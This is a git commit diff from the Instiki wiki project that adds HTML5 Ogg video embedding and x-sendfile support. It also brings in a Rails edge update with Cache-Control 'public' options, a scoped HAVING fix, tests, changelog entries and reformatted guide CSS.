<video> and x-sendfile

Using <object> and <embed> were forbidden for obvious
security reasons. Instiki now permits embedding video
via the HTML5 <video> element (Ogg/Theora encoded videos
only, with .ogg or .ogv extensions). You can even upload
videos with

    [[foo.ogg:video]]

Instiki now support x-sendfile. See the Proxying page for
configuring Apache (with the x-sendfile module). Lighttpd
should work similarly.

Update Rails to latest Edge (hopefully converging on RC2!).
This commit is contained in:
Jacques Distler 2009-03-02 02:32:25 -06:00
parent 133c21b801
commit 8ea8b6a8f7
45 changed files with 872 additions and 751 deletions

View file

@ -48,6 +48,9 @@ class ApplicationController < ActionController::Base
'.jpg' => 'image/jpeg', '.jpg' => 'image/jpeg',
'.pdf' => 'application/pdf', '.pdf' => 'application/pdf',
'.png' => 'image/png', '.png' => 'image/png',
'.oga' => 'audio/ogg',
'.ogg' => 'audio/ogg',
'.ogv' => 'video/ogg',
'.txt' => 'text/plain', '.txt' => 'text/plain',
'.tex' => 'text/plain', '.tex' => 'text/plain',
'.zip' => 'application/zip' '.zip' => 'application/zip'
@ -59,6 +62,8 @@ class ApplicationController < ActionController::Base
'image/jpeg' => 'inline', 'image/jpeg' => 'inline',
'application/pdf' => 'inline', 'application/pdf' => 'inline',
'image/png' => 'inline', 'image/png' => 'inline',
'audio/ogg' => 'inline',
'video/ogg' => 'inline',
'text/plain' => 'inline', 'text/plain' => 'inline',
'application/zip' => 'attachment' 'application/zip' => 'attachment'
} unless defined? DISPOSITION } unless defined? DISPOSITION
@ -67,6 +72,7 @@ class ApplicationController < ActionController::Base
original_options[:type] ||= (FILE_TYPES[File.extname(file_name)] or 'application/octet-stream') original_options[:type] ||= (FILE_TYPES[File.extname(file_name)] or 'application/octet-stream')
original_options[:disposition] ||= (DISPOSITION[original_options[:type]] or 'attachment') original_options[:disposition] ||= (DISPOSITION[original_options[:type]] or 'attachment')
original_options[:stream] ||= false original_options[:stream] ||= false
original_options[:x_sendfile] = true if request.env.include?('HTTP_X_SENDFILE_TYPE')
original_options original_options
end end

View file

@ -7,7 +7,6 @@ rexml_versions = ['', File.dirname(__FILE__) + '/../vendor/plugins/rexml/lib/'].
`ruby -r #{v + 'rexml/rexml'} -e 'p REXML::VERSION'`.split('.').collect {|n| n.to_i} } `ruby -r #{v + 'rexml/rexml'} -e 'p REXML::VERSION'`.split('.').collect {|n| n.to_i} }
$:.unshift(File.dirname(__FILE__) + '/../vendor/plugins/rexml/lib') if (rexml_versions[0] <=> rexml_versions[1]) == -1 $:.unshift(File.dirname(__FILE__) + '/../vendor/plugins/rexml/lib') if (rexml_versions[0] <=> rexml_versions[1]) == -1
#$:.unshift(File.dirname(__FILE__) + '/../vendor/plugins/rack/lib')
require File.join(File.dirname(__FILE__), 'boot') require File.join(File.dirname(__FILE__), 'boot')
require 'active_support/secure_random' require 'active_support/secure_random'
@ -60,3 +59,7 @@ require_dependency 'instiki_errors'
#require 'jcode' #require 'jcode'
require 'caching_stuff' require 'caching_stuff'
#Additional Mime-types
mime_types = YAML.load_file(File.join(File.dirname(__FILE__), 'mime_types.yml'))
Rack::Mime::MIME_TYPES.merge!(mime_types)

View file

@ -3,6 +3,9 @@
.gz: application/x-gzip .gz: application/x-gzip
.js: application/x-javascript .js: application/x-javascript
.nb: application/mathematica .nb: application/mathematica
.oga: audio/ogg
.ogg: audio/ogg
.ogv: video/ogg
.pdf: application/pdf .pdf: application/pdf
.svg: application/svg+xml .svg: application/svg+xml
.tar: application/x-tar .tar: application/x-tar

View file

@ -105,7 +105,7 @@ module WikiChunk
unless defined? WIKI_LINK unless defined? WIKI_LINK
WIKI_LINK = /(":)?\[\[\s*([^\]\s][^\]]*?)\s*\]\]/ WIKI_LINK = /(":)?\[\[\s*([^\]\s][^\]]*?)\s*\]\]/
LINK_TYPE_SEPARATION = Regexp.new('^(.+):((file)|(pic)|(delete))$', 0) LINK_TYPE_SEPARATION = Regexp.new('^(.+):((file)|(pic)|(video)|(delete))$', 0)
ALIAS_SEPARATION = Regexp.new('^(.+)\|(.+)$', 0) ALIAS_SEPARATION = Regexp.new('^(.+)\|(.+)$', 0)
WEB_SEPARATION = Regexp.new('^(.+):(.+)$', 0) WEB_SEPARATION = Regexp.new('^(.+):(.+)$', 0)
end end

View file

@ -14,7 +14,7 @@ module Sanitizer
em fieldset font form h1 h2 h3 h4 h5 h6 hr i img input ins kbd label em fieldset font form h1 h2 h3 h4 h5 h6 hr i img input ins kbd label
legend li map menu ol optgroup option p pre q s samp select small span legend li map menu ol optgroup option p pre q s samp select small span
strike strong sub sup table tbody td textarea tfoot th thead tr tt u strike strong sub sup table tbody td textarea tfoot th thead tr tt u
ul var] ul var video]
mathml_elements = %w[annotation annotation-xml maction math merror mfrac mathml_elements = %w[annotation annotation-xml maction math merror mfrac
mfenced mi mmultiscripts mn mo mover mpadded mphantom mprescripts mroot mfenced mi mmultiscripts mn mo mover mpadded mphantom mprescripts mroot
@ -29,7 +29,7 @@ module Sanitizer
acceptable_attributes = %w[abbr accept accept-charset accesskey action acceptable_attributes = %w[abbr accept accept-charset accesskey action
align alt axis border cellpadding cellspacing char charoff charset align alt axis border cellpadding cellspacing char charoff charset
checked cite class clear cols colspan color compact coords datetime checked cite class clear cols colspan color compact controls coords datetime
dir disabled enctype for frame headers height href hreflang hspace id dir disabled enctype for frame headers height href hreflang hspace id
ismap label lang longdesc maxlength media method multiple name nohref ismap label lang longdesc maxlength media method multiple name nohref
noshade nowrap prompt readonly rel rev rows rowspan rules scope noshade nowrap prompt readonly rel rev rows rowspan rules scope

View file

@ -35,6 +35,8 @@ class AbstractUrlGenerator
file_link(mode, name, text, web.address, known_page, description) file_link(mode, name, text, web.address, known_page, description)
when :pic when :pic
pic_link(mode, name, text, web.address, known_page) pic_link(mode, name, text, web.address, known_page)
when :video
video_link(mode, name, text, web.address, known_page)
when :delete when :delete
delete_link(mode, name, web.address, known_page) delete_link(mode, name, web.address, known_page)
else else
@ -141,6 +143,31 @@ class UrlGenerator < AbstractUrlGenerator
end end
end end
def video_link(mode, name, text, web_address, known_vid)
href = @controller.url_for :controller => 'file', :web => web_address, :action => 'file',
:id => name
case mode
when :export
if known_vid
%{<video src="#{CGI.escape(name)}" controls="controls">#{text}</video>}
else
text
end
when :publish
if known_vid
%{<video src="#{href}" controls="controls">#{text}</video>}
else
%{<span class="newWikiWord">#{text}</span>}
end
else
if known_vid
%{<video src="#{href}" controls="controls">#{text}</video>}
else
%{<span class="newWikiWord">#{text}<a href="#{href}">?</a></span>}
end
end
end
def delete_link(mode, name, web_address, known_file) def delete_link(mode, name, web_address, known_file)
href = @controller.url_for :controller => 'file', :web => web_address, href = @controller.url_for :controller => 'file', :web => web_address,
:action => 'delete', :id => name :action => 'delete', :id => name

View file

@ -24,7 +24,7 @@ module HTML5
em fieldset font form h1 h2 h3 h4 h5 h6 hr i img input ins kbd label em fieldset font form h1 h2 h3 h4 h5 h6 hr i img input ins kbd label
legend li map menu ol optgroup option p pre q s samp select small span legend li map menu ol optgroup option p pre q s samp select small span
strike strong sub sup table tbody td textarea tfoot th thead tr tt u strike strong sub sup table tbody td textarea tfoot th thead tr tt u
ul var] ul var video]
MATHML_ELEMENTS = %w[annotation annotation-xml maction math merror mfrac MATHML_ELEMENTS = %w[annotation annotation-xml maction math merror mfrac
mfenced mi mmultiscripts mn mo mover mpadded mphantom mprescripts mroot mrow mfenced mi mmultiscripts mn mo mover mpadded mphantom mprescripts mroot mrow
@ -39,7 +39,7 @@ module HTML5
ACCEPTABLE_ATTRIBUTES = %w[abbr accept accept-charset accesskey action ACCEPTABLE_ATTRIBUTES = %w[abbr accept accept-charset accesskey action
align alt axis border cellpadding cellspacing char charoff charset align alt axis border cellpadding cellspacing char charoff charset
checked cite class clear cols colspan color compact coords datetime checked cite class clear cols colspan color compact controls coords datetime
dir disabled enctype for frame headers height href hreflang hspace id dir disabled enctype for frame headers height href hreflang hspace id
ismap label lang longdesc maxlength media method multiple name nohref ismap label lang longdesc maxlength media method multiple name nohref
noshade nowrap prompt readonly rel rev rows rowspan rules scope noshade nowrap prompt readonly rel rev rows rowspan rules scope

View file

@ -1,4 +1,4 @@
*2.3.1 [RC2] (February 27th, 2009)* *2.3.1 [RC2] (February ?, 2009)*
* Fixed that ActionMailer should send correctly formatted Return-Path in MAIL FROM for SMTP #1842 [Matt Jones] * Fixed that ActionMailer should send correctly formatted Return-Path in MAIL FROM for SMTP #1842 [Matt Jones]

View file

@ -88,7 +88,10 @@ module ActionMailer
part.parts << prt part.parts << prt
end end
part.set_content_type(real_content_type, nil, ctype_attrs) if real_content_type =~ /multipart/ if real_content_type =~ /multipart/
ctype_attrs.delete 'charset'
part.set_content_type(real_content_type, nil, ctype_attrs)
end
end end
headers.each { |k,v| part[k] = v } headers.each { |k,v| part[k] = v }

View file

@ -330,6 +330,7 @@ class ActionMailerTest < Test::Unit::TestCase
assert_equal "multipart/mixed", created.content_type assert_equal "multipart/mixed", created.content_type
assert_equal "multipart/alternative", created.parts.first.content_type assert_equal "multipart/alternative", created.parts.first.content_type
assert_equal "bar", created.parts.first.header['foo'].to_s assert_equal "bar", created.parts.first.header['foo'].to_s
assert_nil created.parts.first.charset
assert_equal "text/plain", created.parts.first.parts.first.content_type assert_equal "text/plain", created.parts.first.parts.first.content_type
assert_equal "text/html", created.parts.first.parts[1].content_type assert_equal "text/html", created.parts.first.parts[1].content_type
assert_equal "application/octet-stream", created.parts[1].content_type assert_equal "application/octet-stream", created.parts[1].content_type

View file

@ -1,4 +1,6 @@
*2.3.1 [RC2] (February 27th, 2009)* *2.3.1 [RC2] (February ?, 2009)*
* Added ability to pass in :public => true to fresh_when, stale?, and expires_in to make the request proxy cachable #2095 [Gregg Pollack]
* Fixed that passing a custom form builder would be forwarded to nested fields_for calls #2023 [Eloy Duran/Nate Wiger] * Fixed that passing a custom form builder would be forwarded to nested fields_for calls #2023 [Eloy Duran/Nate Wiger]

View file

@ -1133,6 +1133,11 @@ module ActionController #:nodoc:
# request is considered stale and should be generated from scratch. Otherwise, # request is considered stale and should be generated from scratch. Otherwise,
# it's fresh and we don't need to generate anything and a reply of "304 Not Modified" is sent. # it's fresh and we don't need to generate anything and a reply of "304 Not Modified" is sent.
# #
# Parameters:
# * <tt>:etag</tt>
# * <tt>:last_modified</tt>
# * <tt>:public</tt> By default the Cache-Control header is private, set this to true if you want your application to be cachable by other devices (proxy caches).
#
# Example: # Example:
# #
# def show # def show
@ -1153,20 +1158,34 @@ module ActionController #:nodoc:
# Sets the etag, last_modified, or both on the response and renders a # Sets the etag, last_modified, or both on the response and renders a
# "304 Not Modified" response if the request is already fresh. # "304 Not Modified" response if the request is already fresh.
# #
# Parameters:
# * <tt>:etag</tt>
# * <tt>:last_modified</tt>
# * <tt>:public</tt> By default the Cache-Control header is private, set this to true if you want your application to be cachable by other devices (proxy caches).
#
# Example: # Example:
# #
# def show # def show
# @article = Article.find(params[:id]) # @article = Article.find(params[:id])
# fresh_when(:etag => @article, :last_modified => @article.created_at.utc) # fresh_when(:etag => @article, :last_modified => @article.created_at.utc, :public => true)
# end # end
# #
# This will render the show template if the request isn't sending a matching etag or # This will render the show template if the request isn't sending a matching etag or
# If-Modified-Since header and just a "304 Not Modified" response if there's a match. # If-Modified-Since header and just a "304 Not Modified" response if there's a match.
#
def fresh_when(options) def fresh_when(options)
options.assert_valid_keys(:etag, :last_modified) options.assert_valid_keys(:etag, :last_modified, :public)
response.etag = options[:etag] if options[:etag] response.etag = options[:etag] if options[:etag]
response.last_modified = options[:last_modified] if options[:last_modified] response.last_modified = options[:last_modified] if options[:last_modified]
if options[:public]
cache_control = response.headers["Cache-Control"].split(",").map {|k| k.strip }
cache_control.delete("private")
cache_control.delete("no-cache")
cache_control << "public"
response.headers["Cache-Control"] = cache_control.join(', ')
end
if request.fresh?(response) if request.fresh?(response)
head :not_modified head :not_modified
@ -1178,15 +1197,24 @@ module ActionController #:nodoc:
# #
# Examples: # Examples:
# expires_in 20.minutes # expires_in 20.minutes
# expires_in 3.hours, :private => false # expires_in 3.hours, :public => true
# expires in 3.hours, 'max-stale' => 5.hours, :private => nil, :public => true # expires in 3.hours, 'max-stale' => 5.hours, :public => true
# #
# This method will overwrite an existing Cache-Control header. # This method will overwrite an existing Cache-Control header.
# See http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html for more possibilities. # See http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html for more possibilities.
def expires_in(seconds, options = {}) #:doc: def expires_in(seconds, options = {}) #:doc:
cache_options = { 'max-age' => seconds, 'private' => true }.symbolize_keys.merge!(options.symbolize_keys) cache_control = response.headers["Cache-Control"].split(",").map {|k| k.strip }
cache_options.delete_if { |k,v| v.nil? or v == false }
cache_control = cache_options.map{ |k,v| v == true ? k.to_s : "#{k.to_s}=#{v.to_s}"} cache_control << "max-age=#{seconds}"
if options[:public]
cache_control.delete("private")
cache_control.delete("no-cache")
cache_control << "public"
end
# This allows for additional headers to be passed through like 'max-stale' => 5.hours
cache_control += options.symbolize_keys.reject{|k,v| k == :public || k == :private }.map{ |k,v| v == true ? k.to_s : "#{k.to_s}=#{v.to_s}"}
response.headers["Cache-Control"] = cache_control.join(', ') response.headers["Cache-Control"] = cache_control.join(', ')
end end

View file

@ -183,12 +183,12 @@ module ActionView #:nodoc:
cattr_accessor :debug_rjs cattr_accessor :debug_rjs
# Specify whether templates should be cached. Otherwise the file we be read everytime it is accessed. # Specify whether templates should be cached. Otherwise the file we be read everytime it is accessed.
# Automaticaly reloading templates are not thread safe and should only be used in development mode. # Automatically reloading templates are not thread safe and should only be used in development mode.
@@cache_template_loading = false @@cache_template_loading = nil
cattr_accessor :cache_template_loading cattr_accessor :cache_template_loading
def self.cache_template_loading? def self.cache_template_loading?
ActionController::Base.allow_concurrency || cache_template_loading ActionController::Base.allow_concurrency || (cache_template_loading.nil? ? !ActiveSupport::Dependencies.load? : cache_template_loading)
end end
attr_internal :request attr_internal :request

View file

@ -36,6 +36,39 @@ class TestController < ActionController::Base
render :action => 'hello_world' render :action => 'hello_world'
end end
end end
def conditional_hello_with_public_header
if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
render :action => 'hello_world'
end
end
def conditional_hello_with_public_header_and_expires_at
expires_in 1.minute
if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
render :action => 'hello_world'
end
end
def conditional_hello_with_expires_in
expires_in 1.minute
render :action => 'hello_world'
end
def conditional_hello_with_expires_in_with_public
expires_in 1.minute, :public => true
render :action => 'hello_world'
end
def conditional_hello_with_expires_in_with_public_with_more_keys
expires_in 1.minute, :public => true, 'max-stale' => 5.hours
render :action => 'hello_world'
end
def conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
expires_in 1.minute, :public => true, :private => nil, 'max-stale' => 5.hours
render :action => 'hello_world'
end
def conditional_hello_with_bangs def conditional_hello_with_bangs
render :action => 'hello_world' render :action => 'hello_world'
@ -1464,6 +1497,35 @@ class RenderTest < ActionController::TestCase
end end
end end
class ExpiresInRenderTest < ActionController::TestCase
tests TestController
def setup
@request.host = "www.nextangle.com"
end
def test_expires_in_header
get :conditional_hello_with_expires_in
assert_equal "max-age=60, private", @response.headers["Cache-Control"]
end
def test_expires_in_header
get :conditional_hello_with_expires_in_with_public
assert_equal "max-age=60, public", @response.headers["Cache-Control"]
end
def test_expires_in_header_with_additional_headers
get :conditional_hello_with_expires_in_with_public_with_more_keys
assert_equal "max-age=60, public, max-stale=18000", @response.headers["Cache-Control"]
end
def test_expires_in_old_syntax
get :conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
assert_equal "max-age=60, public, max-stale=18000", @response.headers["Cache-Control"]
end
end
class EtagRenderTest < ActionController::TestCase class EtagRenderTest < ActionController::TestCase
tests TestController tests TestController
@ -1553,6 +1615,16 @@ class EtagRenderTest < ActionController::TestCase
get :conditional_hello_with_bangs get :conditional_hello_with_bangs
assert_response :not_modified assert_response :not_modified
end end
def test_etag_with_public_true_should_set_header
get :conditional_hello_with_public_header
assert_equal "public", @response.headers['Cache-Control']
end
def test_etag_with_public_true_should_set_header_and_retain_other_headers
get :conditional_hello_with_public_header_and_expires_at
assert_equal "max-age=60, public", @response.headers['Cache-Control']
end
protected protected
def etag_for(text) def etag_for(text)

View file

@ -230,7 +230,7 @@ module RenderTestCases
end end
end end
def test_template_with_malformed_template_handler_is_reachable_trough_its_exact_filename def test_template_with_malformed_template_handler_is_reachable_through_its_exact_filename
assert_equal "Don't render me!", @view.render(:file => 'test/malformed/malformed.html.erb~') assert_equal "Don't render me!", @view.render(:file => 'test/malformed/malformed.html.erb~')
end end

View file

@ -1,4 +1,4 @@
*2.3.1 [RC2] (February 27th, 2009)* *2.3.1 [RC2] (February ?, 2009)*
* Added ActiveRecord::Base.each and ActiveRecord::Base.find_in_batches for batch processing [DHH/Jamis Buck] * Added ActiveRecord::Base.each and ActiveRecord::Base.find_in_batches for batch processing [DHH/Jamis Buck]

View file

@ -1759,7 +1759,7 @@ module ActiveRecord #:nodoc:
scope = scope(:find) if :auto == scope scope = scope(:find) if :auto == scope
if scope && (scoped_group = scope[:group]) if scope && (scoped_group = scope[:group])
sql << " GROUP BY #{scoped_group}" sql << " GROUP BY #{scoped_group}"
sql << " HAVING #{scoped_having}" if (scoped_having = scope[:having]) sql << " HAVING #{scope[:having]}" if scope[:having]
end end
end end
end end

View file

@ -8,6 +8,25 @@ module ActiveRecord #:nodoc:
# Returns a JSON string representing the model. Some configuration is # Returns a JSON string representing the model. Some configuration is
# available through +options+. # available through +options+.
# #
# The option <tt>ActiveRecord::Base.include_root_in_json</tt> controls the
# top-level behavior of to_json. In a new Rails application, it is set to
# <tt>true</tt> in initializers/new_rails_defaults.rb. When it is <tt>true</tt>,
# to_json will emit a single root node named after the object's type. For example:
#
# konata = User.find(1)
# ActiveRecord::Base.include_root_in_json = true
# konata.to_json
# # => { "user": {"id": 1, "name": "Konata Izumi", "age": 16,
# "created_at": "2006/08/01", "awesome": true} }
#
# ActiveRecord::Base.include_root_in_json = false
# konata.to_json
# # => {"id": 1, "name": "Konata Izumi", "age": 16,
# "created_at": "2006/08/01", "awesome": true}
#
# The remainder of the examples in this section assume include_root_in_json is set to
# <tt>false</tt>.
#
# Without any +options+, the returned JSON string will include all # Without any +options+, the returned JSON string will include all
# the model's attributes. For example: # the model's attributes. For example:
# #

View file

@ -1755,6 +1755,13 @@ class BasicsTest < ActiveRecord::TestCase
end end
end end
def test_scoped_find_with_group_and_having
developers = Developer.with_scope(:find => { :group => 'salary', :having => "SUM(salary) > 10000", :select => "SUM(salary) as salary" }) do
Developer.find(:all)
end
assert_equal 3, developers.size
end
def test_find_last def test_find_last
last = Developer.find :last last = Developer.find :last
assert_equal last, Developer.find(:first, :order => 'id desc') assert_equal last, Developer.find(:first, :order => 'id desc')

View file

@ -1,4 +1,4 @@
*2.3.1 [RC2] (February 27th, 2009)* *2.3.1 [RC2] (February ?, 2009)*
* Nothing new, just included in 2.3.1 * Nothing new, just included in 2.3.1

View file

@ -1,4 +1,4 @@
*2.3.1 [RC2] (February 27th, 2009)* *2.3.1 [RC2] (February ?, 2009)*
* Vendorize i18n 0.1.3 gem (fixes issues with incompatible character encodings in Ruby 1.9) #2038 [Akira Matsuda] * Vendorize i18n 0.1.3 gem (fixes issues with incompatible character encodings in Ruby 1.9) #2038 [Akira Matsuda]

View file

@ -1,4 +1,4 @@
*2.3.1 [RC2] (February 27th, 2009)* *2.3.1 [RC2] (February ?, 2009)*
* Allow metal to live in plugins #2045 [Matthew Rudy] * Allow metal to live in plugins #2045 [Matthew Rudy]

View file

@ -1,138 +1,70 @@
/* Guides.rubyonrails.org */ /* Guides.rubyonrails.org */
/* Main.css */ /* Main.css */
/* Created January 30, 2009 */ /* Created January 30, 2009 */
/* Modified January 31, 2009 /* Modified February 8, 2009
--------------------------------------- */ --------------------------------------- */
/* General /* General
--------------------------------------- */ --------------------------------------- */
.left { .left {float: left; margin-right: 1em;}
float: left; .right {float: right; margin-left: 1em;}
margin-right: 1em; .small {font-size: smaller;}
} .large {font-size: larger;}
.right { .hide {display: none;}
float: right;
margin-left: 1em;
}
.small {
font-size: smaller;
}
.large {
font-size: larger;
}
.hide {
display: none;
}
li ul, li ol { li ul, li ol { margin:0 1.5em; }
margin: 0 1.5em; ul, ol { margin: 0 1.5em 1.5em 1.5em; }
}
ul, ol {
margin: 0 1.5em 1.5em 1.5em;
}
ul { ul { list-style-type: disc; }
list-style-type: disc; ol { list-style-type: decimal; }
}
ol {
list-style-type: decimal;
}
dl { dl { margin: 0 0 1.5em 0; }
margin: 0 0 1.5em 0; dl dt { font-weight: bold; }
} dd { margin-left: 1.5em;}
dl dt {
font-weight: bold; pre,code { margin: 1.5em 0; white-space: pre; overflow: auto; }
} pre,code,tt { font: 1em 'andale mono', 'lucida console', monospace; line-height: 1.5; }
dd {
margin-left: 1.5em;
}
pre,code { abbr, acronym { border-bottom: 1px dotted #666; }
margin: 1.5em 0; address { margin: 0 0 1.5em; font-style: italic; }
white-space: pre; del { color:#666; }
}
pre,code {
font: 1em 'andale mono', 'lucida console', monospace;
line-height: 1.5;
}
abbr, acronym { blockquote { margin: 1.5em; color: #666; font-style: italic; }
border-bottom: 1px dotted #666; strong { font-weight: bold; }
} em, dfn { font-style: italic; }
address { dfn { font-weight: bold; }
margin: 0 0 1.5em; sup, sub { line-height: 0; }
font-style: italic; p {margin: 0 0 1.5em;}
}
del {
color: #666;
}
blockquote { label { font-weight: bold; }
margin: 1.5em; fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; }
color: #666; legend { font-weight: bold; font-size:1.2em; }
font-style: italic;
}
strong {
font-weight: bold;
}
em, dfn {
font-style: italic;
}
dfn {
font-weight: bold;
}
sup, sub {
line-height: 0;
}
p {
margin: 0 0 1.5em;
}
label { input.text, input.title,
font-weight: bold; textarea, select {
} margin:0.5em 0;
fieldset { border:1px solid #bbb;
padding: 1.4em;
margin: 0 0 1.5em 0;
border: 1px solid #ccc;
}
legend {
font-weight: bold;
font-size: 1.2em;
}
input.text, input.title, textarea, select {
margin: 0.5em 0em;
border: 1px solid #bbb;
} }
table { table {
margin: 1em 0; margin: 0 0 1.5em;
border: 1px solid #ddd; border: 2px solid #CCC;
background: #f4f4f4; background: #FFF;
border-spacing: 0; border-collapse: collapse;
} }
table th, table td { table th, table td {
padding: 0.25em; padding: 0.25em 1em;
border-right: 1px dotted #e0e0e0; border: 1px solid #CCC;
border-bottom: 1px dotted #e0e0e0; border-collapse: collapse;
}
table th:last-child, table td:last-child {
border-right: none;
} }
table th { table th {
border-bottom: 1px solid #ddd; border-bottom: 2px solid #CCC;
background: #f0f0f0; background: #EEE;
font-weight: bold; font-weight: bold;
} padding: 0.5em 1em;
table tt {
padding: 0.1em;
} }
@ -140,438 +72,358 @@ table tt {
--------------------------------------- */ --------------------------------------- */
body { body {
text-align: center; text-align: center;
font-family: Helvetica, Arial, sans-serif; font-family: Helvetica, Arial, sans-serif;
font-size: 87.5%; font-size: 87.5%;
line-height: 1.5em; line-height: 1.5em;
background: #222; background: #222;
color: #999; color: #999;
} }
.wrapper { .wrapper {
text-align: left; text-align: left;
margin: 0 auto; margin: 0 auto;
width: 69em; width: 69em;
} }
#topNav { #topNav {
padding: 1em 0; padding: 1em 0;
color: #565656; color: #565656;
} }
#header { #header {
background: #c52f24 url(../../images/header_tile.gif) repeat-x; background: #c52f24 url(../../images/header_tile.gif) repeat-x;
color: #FFF; color: #FFF;
padding: 1.5em 0; padding: 1.5em 0;
position: relative; position: relative;
z-index: 99; z-index: 99;
} }
#feature { #feature {
background: #d5e9f6 url(../../images/feature_tile.gif) repeat-x; background: #d5e9f6 url(../../images/feature_tile.gif) repeat-x;
color: #333; color: #333;
padding: 0.5em 0 1.5em; padding: 0.5em 0 1.5em;
} }
#container { #container {
background: #FFF; background: #FFF;
color: #333; color: #333;
padding: 0.5em 0 1.5em 0; padding: 0.5em 0 1.5em 0;
} }
#mainCol { #mainCol {
width: 45em; width: 45em;
margin-left: 2em; margin-left: 2em;
} }
#subCol { #subCol {
position: absolute; position: absolute;
z-index: 0; z-index: 0;
top: 0; top: 0;
right: 0; right: 0;
background: #FFF; background: #FFF;
padding: 1em 1.5em 1em 1.25em; padding: 1em 1.5em 1em 1.25em;
width: 17em; width: 17em;
font-size: 0.9285em; font-size: 0.9285em;
line-height: 1.3846em; line-height: 1.3846em;
} }
#extraCol { #extraCol {display: none;}
display: none;
}
#footer { #footer {
padding: 2em 0; padding: 2em 0;
background: url(../../images/footer_tile.gif) repeat-x; background: url(../../images/footer_tile.gif) repeat-x;
} }
#footer .wrapper { #footer .wrapper {
padding-left: 2em; padding-left: 2em;
width: 67em; width: 67em;
} }
#header .wrapper, #topNav .wrapper, #feature .wrapper { #header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; width: 68em;}
padding-left: 1em; #feature .wrapper {width: 45em; padding-right: 23em; position: relative; z-index: 0;}
width: 68em;
}
#feature .wrapper {
width: 45em;
padding-right: 23em;
position: relative;
z-index: 0;
}
/* Links /* Links
--------------------------------------- */ --------------------------------------- */
a, a:link, a:visited { a, a:link, a:visited {
color: #ee3f3f; color: #ee3f3f;
text-decoration: underline; text-decoration: underline;
} }
#mainCol a, #subCol a { #mainCol a, #subCol a, #feature a {color: #980905;}
color: #980905;
}
/* Navigation /* Navigation
--------------------------------------- */ --------------------------------------- */
.nav { .nav {margin: 0; padding: 0;}
margin: 0; .nav li {display: inline; list-style: none;}
padding: 0;
}
.nav li {
display: inline;
list-style: none;
}
#header .nav { #header .nav {
float: right; float: right;
margin-top: 1.5em; margin-top: 1.5em;
font-size: 1.2857em; font-size: 1.2857em;
} }
#header .nav li { #header .nav li {margin: 0 0 0 0.5em;}
margin: 0 0 0 0.5em; #header .nav a {color: #FFF; text-decoration: none;}
} #header .nav a:hover {text-decoration: underline;}
#header .nav a {
color: #FFF;
text-decoration: none;
}
#header .nav a:hover {
text-decoration: underline;
}
#header .nav .index { #header .nav .index {
padding: 0.5em 1.5em; padding: 0.5em 1.5em;
border-radius: 1em; border-radius: 1em;
-webkit-border-radius: 1em; -webkit-border-radius: 1em;
-moz-border-radius: 1em; -moz-border-radius: 1em;
background: #980905; background: #980905;
position: relative; position: relative;
} }
#header .nav .index a { #header .nav .index a {
background: #980905 url(../../images/nav_arrow.gif) no-repeat right top; background: #980905 url(../../images/nav_arrow.gif) no-repeat right top;
padding-right: 1em; padding-right: 1em;
position: relative; position: relative;
z-index: 15; z-index: 15;
padding-bottom: 0.125em; padding-bottom: 0.125em;
}
#header .nav .index:hover a, #header .nav .index a:hover {
background-position: right -81px;
} }
#header .nav .index:hover a, #header .nav .index a:hover {background-position: right -81px;}
#guides { #guides {
width: 27em; width: 27em;
display: block; display: block;
background: #980905; background: #980905;
border-radius: 1em; border-radius: 1em;
-webkit-border-radius: 1em; -webkit-border-radius: 1em;
-moz-border-radius: 1em; -moz-border-radius: 1em;
-webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25); -webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
-moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em; -moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
color: #f1938c; color: #f1938c;
padding: 1.5em 2em; padding: 1.5em 2em;
position: absolute; position: absolute;
z-index: 10; z-index: 10;
top: -0.25em; top: -0.25em;
right: 0; right: 0;
padding-top: 2em; padding-top: 2em;
} }
#guides dt, #guides dd { #guides dt, #guides dd {
font-weight: normal; font-weight: normal;
font-size: 0.722em; font-size: 0.722em;
margin: 0; margin: 0;
padding: 0; padding: 0;
}
#guides dt {
padding: 0;
margin: 0.5em 0 0;
}
#guides a {
color: #FFF;
background: none !important;
}
#guides .L, #guides .R {
float: left;
width: 50%;
margin: 0;
padding: 0;
}
#guides .R {
float: right;
} }
#guides dt {padding:0; margin: 0.5em 0 0;}
#guides a {color: #FFF; background: none !important;}
#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;}
#guides .R {float: right;}
#guides hr { #guides hr {
display: block; display: block;
border: none; border: none;
height: 1px; height: 1px;
color: #f1938c; color: #f1938c;
background: #f1938c; background: #f1938c;
} }
/* Headings /* Headings
--------------------------------------- */ --------------------------------------- */
h1 { h1 {
font-size: 2.5em; font-size: 2.5em;
line-height: 1em; line-height: 1em;
margin: 0.6em 0 .2em; margin: 0.6em 0 .2em;
font-weight: bold; font-weight: bold;
} }
h2 { h2 {
font-size: 2.1428em; font-size: 2.1428em;
line-height: 1em; line-height: 1em;
margin: 0.7em 0 .2333em; margin: 0.7em 0 .2333em;
font-weight: bold; font-weight: bold;
} }
h3 { h3 {
font-size: 1.7142em; font-size: 1.7142em;
line-height: 1.286em; line-height: 1.286em;
margin: 0.875em 0 0.2916em; margin: 0.875em 0 0.2916em;
font-weight: bold; font-weight: bold;
} }
h4 { h4 {
font-size: 1.2857em; font-size: 1.2857em;
line-height: 1.2em; line-height: 1.2em;
margin: 1.6667em 0 .3887em; margin: 1.6667em 0 .3887em;
font-weight: bold; font-weight: bold;
} }
h5 { h5 {
font-size: 1em; font-size: 1em;
line-height: 1.5em; line-height: 1.5em;
margin: 1em 0 .5em; margin: 1em 0 .5em;
font-weight: bold; font-weight: bold;
} }
h6 { h6 {
font-size: 1em; font-size: 1em;
line-height: 1.5em; line-height: 1.5em;
margin: 1em 0 .5em; margin: 1em 0 .5em;
font-weight: normal; font-weight: normal;
}
.section {
padding-bottom: 0.25em;
border-bottom: 1px solid #999;
} }
/* Content /* Content
--------------------------------------- */ --------------------------------------- */
.pic { .pic {
